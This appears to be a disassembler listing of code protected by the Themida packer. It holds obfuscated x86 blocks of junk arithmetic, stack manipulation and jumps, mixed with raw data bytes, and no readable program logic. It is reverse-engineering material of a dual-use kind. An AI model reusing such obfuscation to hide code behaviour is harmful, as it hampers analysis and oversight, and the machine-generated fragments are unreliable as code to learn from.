		dd 214EA837h, 6D685EF7h, 8900005Ah, 53BB241Ch, 90AA85Ah
		dd 30AFE9DFh, 0C2310000h, 8324048Bh, 85E904C4h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BD6F:				; CODE XREF: Themida_:0056DA77j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 108D2B13h
		add	eax, 0EF72D4ECh
		sub	[edi+24h], eax
		push	dword ptr [esp]
		jmp	loc_5654C2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8124148Bh, 4C4h, 62FE900h, 8F54FFFFh, 0B9512404h, 4
		dd 0FF9683E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BDA9:				; CODE XREF: Themida_:00569485j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55F09C
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240CD3h, 0FF7E17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BDC1:				; CODE XREF: Themida_:0056FF1Bj
		shr	ebx, 8
		add	ebx, 2DD83ABh
		mov	esi, ebx
		pop	ebx
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebp, 74B73FCCh
		neg	ebp
		sub	esp, 4
		jmp	loc_56F092
; ---------------------------------------------------------------------------
		dw 2A68h
		dd 8B672A78h, 8956240Ch, 4C681E6h, 0E9000000h, 0FFFF0984h
; ---------------------------------------------------------------------------


loc_56BE14:				; CODE XREF: Themida_:00564179j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5645FF
; ---------------------------------------------------------------------------
		dw 77BEh
		dd 0E916F343h, 0FF1h
; ---------------------------------------------------------------------------


loc_56BE2C:				; CODE XREF: Themida_:0056AE9Cj
		mov	edi, [esp]
		jmp	loc_55F46A
; ---------------------------------------------------------------------------
dword_56BE34	dd 8904EC83h, 9E92404h,	5FFFFCBh, 4, 405h, 24048700h, 34A8E95Ch
					; DATA XREF: Themida_:0055C278o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BE52:				; CODE XREF: Themida_:00569314j
		xor	ebx, [esp]
		jmp	loc_566E34
; ---------------------------------------------------------------------------


loc_56BE5A:				; CODE XREF: Themida_:00565E86j
		add	edx, 0FBEFFF7Bh
		sub	ebx, 19625690h
		add	ebx, edx
		add	ebx, 19625690h
		jmp	loc_56DBF3
; ---------------------------------------------------------------------------


loc_56BE73:				; CODE XREF: Themida_:005666FCj
		push	esi
		mov	esi, 346B3E70h
		push	edi
		mov	edi, 22AD5FC0h
		add	[esp+8], edi
		pop	edi
		push	ecx
		push	ebp
		push	2997760Fh
		pop	ebp
		shl	ebp, 2
		shl	ebp, 4
		xor	ebp, 75243E60h
		shr	ebp, 5
		xor	ebp, 5A14C538h
		jmp	loc_55FE70
; ---------------------------------------------------------------------------


loc_56BEA6:				; CODE XREF: Themida_:0055DCBAj
		push	ecx
		mov	ecx, 67B82B6Ch
		sub	ecx, 57D15EA1h
		and	ecx, 1FB77411h
		inc	ecx
		shr	ecx, 1
		add	ecx, 3FE95989h
		sub	ebx, 4A26482Dh
		add	ebx, ecx
		jmp	loc_5650F7
; ---------------------------------------------------------------------------


loc_56BECE:				; CODE XREF: Themida_:0055D91Bj
		pop	esp
		push	5723h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_563596
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF42D9h, 8704C383h, 248B241Ch, 0FC00B24h,	0FF274C84h
		dd 0BE955FFh, 29FFFF2Ch, 0A4E95BDEh, 1FFFF4Dh, 5A042454h
		dd 4BBF5758h
		db 2Dh,	37h, 2Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EA85
; ---------------------------------------------------------------------------


loc_56BF24:				; CODE XREF: Themida_:0056D4EFj
		push	346B3E70h
		pop	ecx
		add	[edi+20h], ecx
		pop	ecx
		jmp	loc_56754B
; ---------------------------------------------------------------------------


loc_56BF33:				; CODE XREF: Themida_:0056FB8Dj
		mov	edx, 4E922388h
		jmp	loc_563423
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0E6h
		dd 167162Ch, 0E6C781CFh, 8B67162Ch, 0C481240Ch,	4, 0FFC3E9E9h
		dd 4F828FFh, 0FF5B66CDh, 34FF2434h, 0C4815B24h,	4, 0FF87F9E9h
		dd 88E281FFh, 813B515Bh, 0B24697F2h, 2EAC14Ah, 7916B850h
		dd 0C20159A1h, 0E0EA8158h, 896AD9C9h, 24148BD5h, 0E904C483h
		dd 29Eh, 4C381h, 0C3810000h, 4,	0FF24B2E9h, 2474FFFFh
		dd 48F5E04h, 24248B24h,	2424D366h, 361E99Ch, 875DFFFFh
		dd 565C2404h, 0FF1017E9h, 0B1ED81FFh, 29118A32h, 242C8BEAh
		dd 4C481h, 0C8B0000h, 4C48124h,	83000000h, 148704C2h, 0D0295C24h
		dd 8124148Bh, 4C4h, 24048700h, 2414895Ch, 1CE99C50h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C007:				; CODE XREF: Themida_:0056528Aj
		mov	ebx, 4CF660Dh
		sub	eax, ebx
		pop	ebx
		push	esi
		push	ecx
		mov	ecx, 2E996C90h
		mov	esi, 0F3587E8Ch
		jmp	loc_56ED01
; ---------------------------------------------------------------------------
		dd 0A0B9515Bh, 8106440Bh, 3A0455C2h, 81CA0107h,	4ECh, 5EE5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C03A:				; CODE XREF: Themida_:00561398j
		push	edi
		mov	edi, esp
		jmp	loc_56DAAB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 242C3304h, 33242C31h, 0E95C242Ch, 0FFFF420Ch, 1B3BC181h
		dd 0CD21E44Bh, 0FF8C1CE9h, 81E589FFh, 4C5h, 4C58100h, 55000000h
		dd 4464E9h, 0E3895300h,	4C381h,	0C3830000h, 5070E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C086:				; CODE XREF: Themida_:005624CEj
		push	782Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55CAE6
; ---------------------------------------------------------------------------
		db 81h
		dd 0CBC0A6F3h, 4EC81A5h, 89000000h, 7BBA2414h, 12F1D72h
		dd 0EB815AD3h, 91099435h, 515BD901h, 42474FFh, 0E9240C8Bh
		dd 40A6h, 468h,	0FE015F00h, 0FF9402E9h,	0B60F66FFh, 0B7D2E9C8h
		dd 489FFFFh, 39B2B824h,	0C129677Fh, 45BE5658h, 31477F31h
		dd 0E9815EF1h, 0EEFC7C90h, 1A3EBA52h, 0B0057324h, 1320E20h
		dd 20B02DD0h, 1CE9320Eh
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C10B:				; CODE XREF: Themida_:00563921j
		sub	al, 77h
		sub	bl, al
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_56CA4E
; ---------------------------------------------------------------------------
		db 81h
		dd 0F120C6E1h, 4EC8176h, 89000000h, 7BE2434h, 0D10D1C36h
		dd 7E6C1EEh, 1065C681h,	0D6870EFAh, 0D687D2F7h,	6D9EEE81h
		dd 0B5E995A7h, 81FFFFE2h, 0CF750AC3h, 5D39E928h, 0CB01FFFFh
		dd 3607EB81h, 0AFE95C72h, 0B800002Eh, 0C11E12E7h, 0FFB789E9h
		dd 83492CFFh, 0C7E904ECh, 81000044h, 6F5761C3h,	4EC8335h
		dd 0BD242C89h, 282D483Dh, 5708E5C1h, 452135BFh,	94EF8142h
		dd 0F726D403h, 4EFC1D7h, 92CF8147h, 0E95E9D40h,	0FFFFC569h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FF18A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C1BD:				; CODE XREF: Themida_:0055FB53j
		push	edx
		push	764Ch
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3D991B82h
		push	edi
		mov	edi, 4F2B2235h
		xor	edi, 1FAE7941h
		push	edx
		mov	edx, 6D1C40F2h
		xor	edi, edx
		jmp	loc_56EF6D
; ---------------------------------------------------------------------------


loc_56C1F6:				; CODE XREF: Themida_:0056738Cj
		sub	edx, 0C031F300h
		or	esi, edx
		pop	edx
		push	eax
		mov	eax, 76AB0125h
		sub	esi, 1E5356FFh
		add	esi, eax
		add	esi, 1E5356FFh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 1
		push	ebx
		mov	ebx, 49F30666h
		jmp	loc_5671B2
; ---------------------------------------------------------------------------
		dw 32BEh
		dd 16C5B75h, 0DC2CE9F5h, 0EDC1FFFFh, 58E95203h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C243:				; CODE XREF: Themida_:0056224Cj
		sub	esi, edx
		jmp	loc_55E369
; ---------------------------------------------------------------------------
		dw 1B3h
		dd 0E9C7EA80h, 8F2h, 4C781h, 3C870000h,	0EE815C24h, 34CF7010h
		dd 3AADF681h, 0F101EAD0h, 0FF8964E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C271:				; CODE XREF: Themida_:0056B730j
		mov	bh, 51h
		sub	al, bh
		jmp	loc_56284F
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 8AE92404h, 81FFFF3Bh, 4C7h, 34E95700h, 4FFFF06h, 685A668Ch
		dd 377Ah, 0FFE74CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C29D:				; CODE XREF: Themida_:0055F786j
		sub	bl, 0CEh
		sub	bl, cl
		add	bl, 0CEh
		sub	bl, 86h
		push	ecx
		mov	cl, 21h
		jmp	loc_55F71D
; ---------------------------------------------------------------------------


loc_56C2B0:				; CODE XREF: Themida_:00570932j
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		xchg	ecx, [esp]
		xchg	edx, ecx
		not	edx
		jmp	loc_562AB5
; ---------------------------------------------------------------------------


loc_56C2D1:				; CODE XREF: Themida_:0055FE34j
		add	esp, 4
		sub	ebx, 240F7A3Fh
		sub	ebx, edi
		push	edx
		mov	edx, 240F7A3Fh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebx, 71E9549Ch
		jmp	loc_563F6E
; ---------------------------------------------------------------------------
dword_56C310	dd 4EC83ADh, 56243489h,	0E953E689h, 0FFFF046Ch
					; DATA XREF: Themida_:0055C170o
; ---------------------------------------------------------------------------


loc_56C320:				; CODE XREF: Themida_:0056494Cj
		push	0C406D48h
		mov	ecx, [esp]
		jmp	loc_566063
; ---------------------------------------------------------------------------
		db 0B9h, 0EEh, 5
		dd 0E98139CCh, 6F0F62CDh, 0FF9343E9h, 0BB5356FFh, 312462AAh
		dd 1C8BDE89h, 4C48124h,	4E000000h, 0EB68D6F7h, 0E9000061h
		dd 0FFFF6716h, 815FF989h, 93A2C6C1h, 59CD01EEh,	791868h
		dd 2134E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C372:				; CODE XREF: Themida_:0056683Fj
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56327A
; ---------------------------------------------------------------------------
		dd 592434FFh, 8104C483h, 4C4h, 3CDDE900h, 685AFFFFh, 7E81h
		dd 89241C89h, 6D99E9E3h, 8F5BFFFFh, 248B2404h, 1AB6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3AA:				; CODE XREF: Themida_:00569C0Fj
		add	esp, 4
		sub	edx, 6CA34AD7h
		sub	[edi+24h], edx
		jmp	loc_55DF81
; ---------------------------------------------------------------------------
		dd offset dword_4CB7A8+0BD8h
		db 0C3h
		dd 0C001B652h, 0CE8008E6h, 3B5E95Ch, 0C4830000h, 240C3304h
		dd 4D8BE9h, 0DDF76600h,	0FFD7D2E9h, 5AD531FFh, 8B5DEE01h
		dd 0C481240Ch, 4, 525EF201h, 42474FFh, 0FFBF03E9h, 24148BFFh
		dd 8304C483h, 0C8904ECh, 6124B924h, 81490323h, 6810C7F1h
		dd 20C18153h, 0E9AFB48Eh, 0FFFF47E8h, 24348B66h, 2C481h
		dd 1DE90000h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C42F:				; CODE XREF: Themida_:0056C443j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_564BB0
; ---------------------------------------------------------------------------


loc_56C43D:				; CODE XREF: Themida_:00561109j
		add	edi, 0FFF85E77h
		jmp	loc_56C42F
; ---------------------------------------------------------------------------
		dd 0B9515658h, 32713040h, 6ABEF181h, 0CE890E14h, 0FF92A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C45D:				; CODE XREF: Themida_:00562C26j
		add	ebx, edi
		add	ebx, 69A13EFDh
		jmp	loc_562B96
; ---------------------------------------------------------------------------


loc_56C46A:				; CODE XREF: Themida_:0056F48Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FB26
; ---------------------------------------------------------------------------
		db 5, 52h, 0FBh
		dd 0C32155DCh, 40F38158h, 0C1597969h, 0BD5504EBh, 0FDCD0350h
		dd 1C64EB81h, 0EB29456Eh, 135AE9h, 55EFD100h, 0C325A8BDh
		dd 62E95153h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C4A7:				; CODE XREF: Themida_:00560E2Cj
		push	ebp
		push	4
		pop	ebp
		sub	eax, 5F472779h
		jmp	loc_565586
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 0FFF27CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C4C1:				; CODE XREF: Themida_:00568215j
		mov	[esp], eax
		mov	eax, ebp
		mov	edi, eax
		pop	eax
		pop	ebp
		jmp	loc_56D723
; ---------------------------------------------------------------------------
byte_56C4CF	db 0FFh			; DATA XREF: Themida_:0055C22Co
		dd 34FF2434h, 0C4835824h, 4AE95704h, 68FFFF83h,	65A7h
		dd 0E9242489h, 352Ch
; ---------------------------------------------------------------------------


loc_56C4EC:				; CODE XREF: Themida_:00570F81j
		sub	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_567028
; ---------------------------------------------------------------------------


loc_56C4F9:				; CODE XREF: Themida_:00563F1Cj
		pop	esi
		pop	edi
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_561010
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 5Fh
		dd 30BCBF57h, 0FB0977B3h, 0FF802FE9h, 0FFEE80FFh, 0E909C680h
		dd 0FFFF0C04h, 0AF4BB53h, 0EBD1398Ch, 0FA88C381h, 0DA89E339h
		dd 0FF9820E9h, 0C1DBF7FFh, 7EE908EBh, 33000017h, 34312434h
		dd 2D05E924h, 0EC81FFFFh, 4, 89242C89h,	5B5453E5h, 4C381h
		dd 0EB810000h, 4, 0FFBA68E9h, 48F5DFFh,	24248B24h, 0FEFDA6E9h
		dd 0EC835DFFh, 241C8904h, 0AC685651h, 5E04B339h, 81D6F74Eh
		dd 688E19EEh, 5EF189B7h, 1227E3BBh, 0E9CB01FCh,	0FFFF214Bh
; ---------------------------------------------------------------------------


loc_56C5A4:				; CODE XREF: Themida_:0055E68Bj
		sub	ecx, 6E265713h
		push	esi
		mov	esi, 52354BA5h
		push	ecx
		push	esi
		mov	esi, 9071E8Fh
		xor	esi, 60437F49h
		shr	esi, 6
		not	esi
		xor	esi, 0AD279862h
		mov	ecx, esi
		pop	esi
		add	esi, 612D23E9h
		add	esi, ecx
		sub	esi, 612D23E9h
		pop	ecx
		shr	esi, 7
		jmp	loc_560E91
; ---------------------------------------------------------------------------
		dw 0C301h
		dd offset loc_417C66+2
		dd 9B39E900h, 57BBFFFFh, 5646F27h, 60DA1B5Bh, 5B2DD829h
		dd 0FF60DA1Bh, 835B2434h, 23E904C4h, 81FFFF28h,	0A27DAEEAh
		dd 81DAF773h, 56872EEAh, 5AD301DAh, 8704C383h, 0E95C241Ch
		dd 0FFFEFCFBh, 8304EAC1h, 2C8904ECh, 4EC8124h, 89000000h
		dd 0B6BE2434h, 0BD1FC102h, 25204266h, 0FFEEBEE9h, 4C481FFh
		dd 83000000h, 348904ECh, 0E81BE24h, 0E6C17A86h,	4C68108h
		dd 179F17Fh, 0C8C7E9F1h, 5750FFFFh, 4C6783BFh, 19D5B80Dh
		dd 0CBE961DAh, 100002Eh, 0FF515AD1h, 0E9042474h, 0FFFF09C0h
; ---------------------------------------------------------------------------


loc_56C688:				; CODE XREF: Themida_:00570A79j
		push	dword ptr [esp]
		jmp	loc_566648
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 48C5F02h, 0FF4F0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C69D:				; CODE XREF: Themida_:0055FE49j
		shl	ecx, 7
		inc	ecx
		xor	ecx, 7E5F7F85h
		add	edx, ecx
		pop	ecx
		push	30C2h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5650BD
; ---------------------------------------------------------------------------


loc_56C6C5:				; CODE XREF: Themida_:0056B10Bj
		add	edi, 32510493h
		add	edi, edx
		sub	edi, 32510493h
		sub	edi, 0BBB2301h
		mov	edx, [esp]
		jmp	loc_567B39
; ---------------------------------------------------------------------------


loc_56C6E1:				; CODE XREF: Themida_:0055E82Ej
		pop	ecx
		add	dl, bl
		pop	ebx
		push	ebx
		mov	bl, dl
		mov	al, bl
		jmp	loc_5616B4
; ---------------------------------------------------------------------------
		db 88h
		dd 0B407E9FCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C6F6:				; CODE XREF: Themida_:00561716j
		mov	esi, 1
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 884A9838h
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_56A5A2
; ---------------------------------------------------------------------------
		dw 6FBFh
		dd 0E95E6312h, 0FFFF9B15h, 66F20166h, 0D589665Eh, 8124148Bh
		dd 4C4h, 44816600h, 32A60224h, 24448166h, 665F1102h, 2246C01h
		dd 246C8166h, 665F1102h, 2246C81h, 8B6632A6h, 0C481242Ch
		dd 2, 0FEFBC2E9h, 0E9F701FFh, 0FFFFA809h, 5A0F98BBh, 0FFD9891Ah
		dd 0E95B2434h, 0FFFFAC6Bh, 8B243487h, 65E92424h, 80FFFF80h
		dd 0EE801AC6h, 0E9F3282Ah, 0FFFFFAEAh, 7E95E54h, 81000027h
		dd 7E6975F1h, 2EE9816Dh, 895997C3h, 0F78159CFh,	56F95168h
		dd 1824F781h, 0F90179F9h, 0E9CB895Fh, 0FFFFD56Bh, 6824248Bh
		dd 1CFDh, 25B1E9h, 242C8B00h, 4C481h, 0C330000h, 240C3124h
		dd 0FF285EE9h, 243C33FFh, 33243C31h, 645C243Ch,	0E9028966h
		dd 0FFFEFB33h
; ---------------------------------------------------------------------------


loc_56C7F0:				; CODE XREF: Themida_:005661CAj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0BF13CC46h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_562E7F
; ---------------------------------------------------------------------------
		db 68h,	4Dh, 29h
		dd 36E93C98h, 4BFFFFA7h, 0A1ABEB81h, 0DF31DEFBh, 81241C8Bh
		dd 4C4h, 5FF90100h, 5059CB31h, 754967B8h, 0C9357Bh, 0C60139DDh
		dd 92C6E958h, 5A53FFFFh, 5AD1015Bh, 2474FF51h, 240C8B04h
		dd 4C481h, 48F0000h, 0A1B1E924h
		db 2 dup(0FFh)
word_56C852	dw 8B66h		; DATA XREF: Themida_:0055C044o
		dd 0EC81240Ch, 4, 0FF3450E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C861:				; CODE XREF: Themida_:0055EED2j
		push	eax
		mov	eax, 118A163h
		sub	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_56F7C9
; ---------------------------------------------------------------------------


loc_56C870:				; CODE XREF: Themida_:00563AB4j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_55D9C2
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 0FF9F14E9h, 815A54FFh, 4C2h,	4C28100h, 87000000h, 355C2414h
		dd 7A23218Ch, 29F9E9h, 24042100h, 0FA71E99Ch, 0FF68FFFEh
		dd 0E9000072h, 0FFFFB5ECh, 34FFD001h, 0C4835A24h, 68515504h
		dd 255F7646h, 3E9C159h,	1E981h,	0E9C10000h, 21E98105h
		dd 51DEDDF2h, 63240481h, 5D273F64h, 0FFC025E9h,	58C501FFh
		dd 0FF86C8E9h, 0C5815DFFh, 1C4F6293h, 28D2E958h, 0F0010000h
		dd 241C8B5Eh, 504C483h,	34EC6BB2h, 0A0E9F829h, 0B1FFFFADh
		dd 71A6E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C91E:				; CODE XREF: Themida_:00567E52j
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		pop	ebp
		add	edx, 27115866h
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esi
		mov	esi, ebx
		push	esi
		xor	dword ptr [esp], 1C4E5D09h
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 1C4E5D09h
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		add	dword ptr [esp], 616A4684h
		mov	eax, [esp]
		jmp	loc_56DD70
; ---------------------------------------------------------------------------


loc_56C977:				; CODE XREF: Themida_:0056E6C8j
		mov	[esp], ecx
		jmp	loc_566047
; ---------------------------------------------------------------------------
		db 29h
		dd 0BA525FFEh, 206475BAh, 15AD029h, 48BB53F0h, 814ADC20h
		dd 0FFFFFFC3h, 94E956FFh
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C99F:				; CODE XREF: Themida_:00561385j
		push	0
		sub	[esp], ebp
		jmp	loc_569739
; ---------------------------------------------------------------------------
		dd 0FEF972E9h, 0E9FB31FFh, 14BEh
; ---------------------------------------------------------------------------


loc_56C9B8:				; CODE XREF: Themida_:00567289j
		mov	[esp], eax
		mov	eax, 1357027Eh
		not	eax
		inc	eax
		push	ecx
		mov	ecx, 373F7AE3h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55C7FB
; ---------------------------------------------------------------------------


loc_56C9D3:				; CODE XREF: Themida_:00562399j
		inc	dh
		add	dh, 8Eh
		sub	bl, 8Dh
		add	bl, dh
		jmp	loc_55D487
; ---------------------------------------------------------------------------


loc_56C9E2:				; CODE XREF: Themida_:00563C96j
		inc	edx
		or	edx, 323250AEh
		jmp	loc_55FC11
; ---------------------------------------------------------------------------


loc_56C9EE:				; CODE XREF: Themida_:00565364j
		xchg	esi, [esp]
		pop	esp
		push	5C9Eh
		jmp	loc_5691DF
; ---------------------------------------------------------------------------
		dd 1B343504h, 8358C288h, 0C0E904ECh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CA0B:				; CODE XREF: Themida_:005698DBj
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], si
		push	small word ptr [esp+2]
		jmp	loc_55DEB2
; ---------------------------------------------------------------------------


loc_56CA29:				; CODE XREF: Themida_:0056DAC0j
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56A32B
; ---------------------------------------------------------------------------


loc_56CA4E:				; CODE XREF: Themida_:0056C116j
		push	713h
		mov	[esp], eax
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 58h
		dd 1931E957h, 0C1810000h, 4, 4C181h, 0C330000h,	240C3124h
		dd 0FFDD6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CA79:				; CODE XREF: Themida_:00560149j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	small 1A65h
		jmp	loc_5694DD
; ---------------------------------------------------------------------------
		dd 46856h, 5FE90000h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA9B:				; CODE XREF: Themida_:0056D488j
		pop	esi
		xchg	edi, [esp]
		jmp	loc_562792
; ---------------------------------------------------------------------------
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CC77
; ---------------------------------------------------------------------------
byte_56CAAD	db 0ADh, 51h, 53h	; DATA XREF: Themida_:0055C1C4o
		dd 5B45D768h, 0EB815B64h, 3DDC0F3Ah, 0FF4FC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CAC1:				; CODE XREF: Themida_:0056F0E9j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_568461
; ---------------------------------------------------------------------------


loc_56CAD9:				; CODE XREF: Themida_:00563D46j
		mov	[esp], edi
		jmp	loc_567391
; ---------------------------------------------------------------------------
aZ		db ',Z,\',0
		db 0D8h
		dd 0D3E95C04h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CAEF:				; CODE XREF: Themida_:00566BB2j
		add	esp, 4
		add	esp, 4
		jmp	loc_5714FF
; ---------------------------------------------------------------------------
		dd 0C781DFF7h, 3CB0150Fh, 0FFE675E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB0D:				; CODE XREF: Themida_:0055FD6Cj
		xor	[esp], ebp
		jmp	loc_56602A
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 29000000h, 0EEE958C7h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56CB23:				; CODE XREF: Themida_:005649DFj
		mov	[esp], ecx
		push	ebp
		push	edx
		mov	edx, 1C0B3CE6h
		push	edx
		add	dword ptr [esp], 63205F28h
		mov	ebp, [esp]
		jmp	loc_55CABA
; ---------------------------------------------------------------------------
aXS8		db '^',7,'8',0
		db 2 dup(0), 0DAh
		dd 68E95066h, 89FFFFDFh, 0C68159CEh, 0BAF9E88Dh, 575EF001h
		dd 8E7D32BFh, 2EEF8170h, 29708E7Dh, 4875FF8h, 24248B24h
		dd 0FF06F2E9h, 2C895CFFh, 815D5424h, 4C5h, 4C58100h, 55000000h
		dd 42474FFh, 24048F5Dh,	8124248Bh, 4C4h, 0BB2E900h, 0F66FFFFh
		dd 9C2404BBh, 0FEF77AE9h, 0E9F801FFh, 162h, 2404895Ch
		dd 0FFB9D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CBB9:				; CODE XREF: Themida_:0056581Aj
		xor	ebp, 0DDE0046h
		jmp	loc_56F1F5
; ---------------------------------------------------------------------------
		dd 24348B54h, 4C481h, 0C6810000h, 4, 8704C683h,	815C2434h
		dd 2ECh, 14896600h, 0DAB224h, 339AE9D3h, 0EB810000h, 0BCB30D1h
		dd 0FF1A37E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CBF9:				; CODE XREF: Themida_:00565309j
		shr	edx, 7
		sub	edx, 0FF4D4B6h
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		jmp	loc_56FDF3
; ---------------------------------------------------------------------------
		dd 66E8305Bh, 0E9240C8Bh, 0FFFF2B94h, 10B289B7h, 1702E9h
		dd 4875A00h, 24248B24h,	0FF45D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CC2D:				; CODE XREF: Themida_:0056576Ej
		mov	edx, ebx
		jmp	loc_56B6BB
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E952240Ch, 0FFFF4257h
; ---------------------------------------------------------------------------


loc_56CC40:				; CODE XREF: Themida_:0056D1E7j
		push	eax
		mov	eax, ebx
		mov	esi, eax
		pop	eax
		pop	ebx
		sub	esi, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		push	45A8h
		jmp	loc_55D3D9
; ---------------------------------------------------------------------------
		dd 2502E8C1h, 6DDB0810h, 401E6855h, 815D0060h, 4ECh, 242C8900h
		dd 5D2414F7h, 0FFE461E9h, 0F2C181FFh, 8B745C53h, 8953242Ch
		dd 4C381E3h, 83000000h,	0FF5304C3h, 5B042474h, 0FF8204E9h
		dd 240489FFh, 29006852h, 4A5A3A89h, 0E957D2F7h,	0FFFF04A4h
; ---------------------------------------------------------------------------


loc_56CCB4:				; CODE XREF: Themida_:005654CEj
		mov	ecx, ebx
		push	577h
		jmp	loc_560FCF
; ---------------------------------------------------------------------------
		dd 4DD8E95Bh, 335BFFFFh, 3C31243Ch, 243C3324h, 0AB13E95Ch
		dd 0C181FFFFh, 1AEF00DEh, 0FF7842E9h, 7BE958FFh, 81FFFFBCh
		dd 3F77D0CDh, 17F58144h, 685B842Ch, 6070h, 0BA241489h
		dd 41DC4D52h, 3107C281h, 814A3C0Eh, 8254B0EAh, 0F6CFE9E3h
